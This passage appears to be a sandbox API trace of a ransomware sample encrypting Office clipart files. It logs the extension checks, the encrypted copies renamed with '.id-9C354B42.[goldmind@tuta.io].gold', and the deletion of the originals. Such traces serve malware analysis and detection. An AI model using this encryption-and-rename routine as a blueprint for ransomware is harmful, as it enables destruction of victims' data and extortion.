(lpString1=".jpg", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".doc") returned 4 [0096.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".docx") returned 5 [0096.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.083] lstrlenW (lpString=".pdf") returned 4 [0096.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".xls") returned 4 [0096.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.083] lstrlenW (lpString=".xlsx") returned 5 [0096.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.083] lstrlenW (lpString=".ppt") returned 4 [0096.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".zip") returned 4 [0096.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.083] lstrlenW (lpString=".rar") returned 4 [0096.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".bz2") returned 4 [0096.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".7z") returned 3 [0096.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".dbf") returned 4 [0096.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".1cd") returned 4 [0096.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".jpg") returned 4 [0096.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.084] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.084] lstrlenW (lpString="FD00779_.WMF") returned 12 [0096.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0096.266] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9010) returned 1 [0096.266] CloseHandle (hObject=0x3b0) returned 1 [0096.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0096.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.423] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.423] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0096.445] GetLastError () returned 0x0 [0096.445] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2332, lpOverlapped=0x0) returned 1 [0096.475] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2340, lpOverlapped=0x0) returned 1 [0096.475] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.475] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.476] SetEndOfFile (hFile=0x3bc) returned 1 [0096.476] CloseHandle (hObject=0x3bc) returned 1 [0096.476] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.476] SetEndOfFile (hFile=0x3b4) returned 1 [0096.477] CloseHandle (hObject=0x3b4) returned 1 [0096.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0096.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.478] lstrlenW (lpString=".doc") returned 4 [0096.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.478] lstrlenW (lpString=".docx") returned 5 [0096.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.478] lstrlenW (lpString=".pdf") returned 4 [0096.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.478] lstrlenW (lpString=".xls") returned 4 [0096.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.478] lstrlenW (lpString=".xlsx") returned 5 [0096.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.478] lstrlenW (lpString=".ppt") returned 4 [0096.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.478] lstrlenW (lpString=".zip") returned 4 [0096.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.479] lstrlenW (lpString=".rar") returned 4 [0096.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".bz2") returned 4 [0096.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".7z") returned 3 [0096.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".dbf") returned 4 [0096.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".1cd") returned 4 [0096.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".jpg") returned 4 [0096.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".doc") returned 4 [0096.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".docx") returned 5 [0096.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.479] lstrlenW (lpString=".pdf") returned 4 [0096.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".xls") returned 4 [0096.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.479] lstrlenW (lpString=".xlsx") returned 5 [0096.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.479] lstrlenW (lpString=".ppt") returned 4 [0096.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".zip") returned 4 [0096.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.479] lstrlenW (lpString=".rar") returned 4 [0096.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".bz2") returned 4 [0096.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString=".7z") returned 3 [0096.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".dbf") returned 4 [0096.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.479] lstrlenW (lpString=".1cd") returned 4 [0096.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0096.480] lstrlenW (lpString=".jpg") returned 4 [0096.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.480] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.480] lstrlenW (lpString="FD01196_.WMF") returned 12 [0096.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.480] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2332) returned 1 [0096.480] CloseHandle (hObject=0x3b4) returned 1 [0096.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0096.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.481] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.481] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0096.482] GetLastError () returned 0x0 [0096.482] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x91c, lpOverlapped=0x0) returned 1 [0096.526] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x920, lpOverlapped=0x0) returned 1 [0096.527] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.527] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.527] SetEndOfFile (hFile=0x3bc) returned 1 [0096.528] CloseHandle (hObject=0x3bc) returned 1 [0096.528] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.528] SetEndOfFile (hFile=0x3b4) returned 1 [0096.530] CloseHandle (hObject=0x3b4) returned 1 [0096.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0096.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.531] lstrlenW (lpString=".doc") returned 4 [0096.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString=".docx") returned 5 [0096.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.531] lstrlenW (lpString=".pdf") returned 4 [0096.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString=".xls") returned 4 [0096.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.531] lstrlenW (lpString=".xlsx") returned 5 [0096.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.531] lstrlenW (lpString=".ppt") returned 4 [0096.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.531] lstrlenW (lpString=".zip") returned 4 [0096.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.531] lstrlenW (lpString=".rar") returned 4 [0096.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString=".bz2") returned 4 [0096.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString=".7z") returned 3 [0096.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.531] lstrlenW (lpString=".dbf") returned 4 [0096.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".1cd") returned 4 [0096.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".jpg") returned 4 [0096.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".doc") returned 4 [0096.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString=".docx") returned 5 [0096.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.532] lstrlenW (lpString=".pdf") returned 4 [0096.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString=".xls") returned 4 [0096.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.532] lstrlenW (lpString=".xlsx") returned 5 [0096.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.532] lstrlenW (lpString=".ppt") returned 4 [0096.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".zip") returned 4 [0096.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.532] lstrlenW (lpString=".rar") returned 4 [0096.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString=".bz2") returned 4 [0096.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString=".7z") returned 3 [0096.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".dbf") returned 4 [0096.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".1cd") returned 4 [0096.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0096.532] lstrlenW (lpString=".jpg") returned 4 [0096.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.532] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.532] lstrlenW (lpString="FD01658_.WMF") returned 12 [0096.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.511] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=17924) returned 1 [0097.512] CloseHandle (hObject=0x3b0) returned 1 [0097.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0097.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0097.512] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.512] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0097.513] GetLastError () returned 0x0 [0097.513] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4604, lpOverlapped=0x0) returned 1 [0097.515] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4610, lpOverlapped=0x0) returned 1 [0097.515] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0097.515] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.516] SetEndOfFile (hFile=0x394) returned 1 [0097.516] CloseHandle (hObject=0x394) returned 1 [0097.516] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0097.516] SetEndOfFile (hFile=0x3b0) returned 1 [0097.518] CloseHandle (hObject=0x3b0) returned 1 [0097.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0097.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.519] lstrlenW (lpString=".doc") returned 4 [0097.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.519] lstrlenW (lpString=".docx") returned 5 [0097.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.519] lstrlenW (lpString=".pdf") returned 4 [0097.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.519] lstrlenW (lpString=".xls") returned 4 [0097.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.519] lstrlenW (lpString=".xlsx") returned 5 [0097.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.519] lstrlenW (lpString=".ppt") returned 4 [0097.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".zip") returned 4 [0097.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.520] lstrlenW (lpString=".rar") returned 4 [0097.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString=".bz2") returned 4 [0097.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString=".7z") returned 3 [0097.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".dbf") returned 4 [0097.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".1cd") returned 4 [0097.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".jpg") returned 4 [0097.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0097.520] lstrlenW (lpString=".doc") returned 4 [0097.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.520] lstrlenW (lpString=".docx") returned 5 [0097.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.520] lstrlenW (lpString=".pdf") returned 4 [0097.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.520] 